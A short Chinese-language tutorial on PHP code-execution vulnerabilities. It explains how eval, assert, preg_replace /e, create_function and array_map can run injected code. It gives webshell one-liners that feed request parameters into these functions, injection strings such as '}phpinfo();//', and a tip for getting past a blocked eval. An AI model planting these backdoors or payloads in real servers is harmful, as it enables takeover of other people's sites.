Author:Bell0ne_
代码执行漏洞
一、代码执行漏洞原理
用户输入的数据被当做后端代码执行。
其实一句话木马的本质就是一个代码执行漏洞。
RCE:远程命令或者代码执行
二、造成代码执行的函数解析
在PHP中有哪些函数可以造成代码执行?
1、eval()函数
eval()函数中的内容被当做代码执行
是最常用也是最好用的,可以多行执行
2、assert()函数
只能单行执行,不可以用菜刀进行连接
但是我们可以通过assert写一个木马进去,从而getshell
3、preg_replace() 正则替换函数
preg_replace('/a/e',$_GET[8],'abc');
如果目标站点有一个功能,它可以让你任意控制正则表达式,那么就可以通过这个语句来getshell
/a/e =>a是正则表达式,e是修饰符(要去替换的值可以被当做php代码执行)
4、create_function() 函数
create_function()主要用来创建匿名函数
匿名函数
<?php
$a=create_function(‘$id’,’echo $id’);
echo $a(8);
?>
如果可以控制create_function()的代码段,就可以命令执行
create_function()原理就是
function 匿名 ($id)
{
….
}
如果create_function定义但没有被调用,可以使用以下骚操作
function 匿名 ($id)
{
phpinfo();}phpinfo();//
}
如果eval被拦截了,可以尝试上传
<?php
$a=create_function(‘$id’,$_REQUEST[8]);
?>
再传参 ?8=}phpinfo();//
5、array_map() 回调函数
$a=[1,2,3,4,5];
array_map('函数',$a)
可以调用自定义函数或自带函数
将数组中的数据依次取出放入函数执行
如果可以控制函数,可以写成
array_map('assert',$_REQUEST[1])
array_map($_REQUEST[1],$_REQUEST[2]);
然后传1=assert&2=phpinfo();
eval是无法调用的,他被认为是特殊用法,不属于函数
PHP还有很多回调函数,都可以去利用。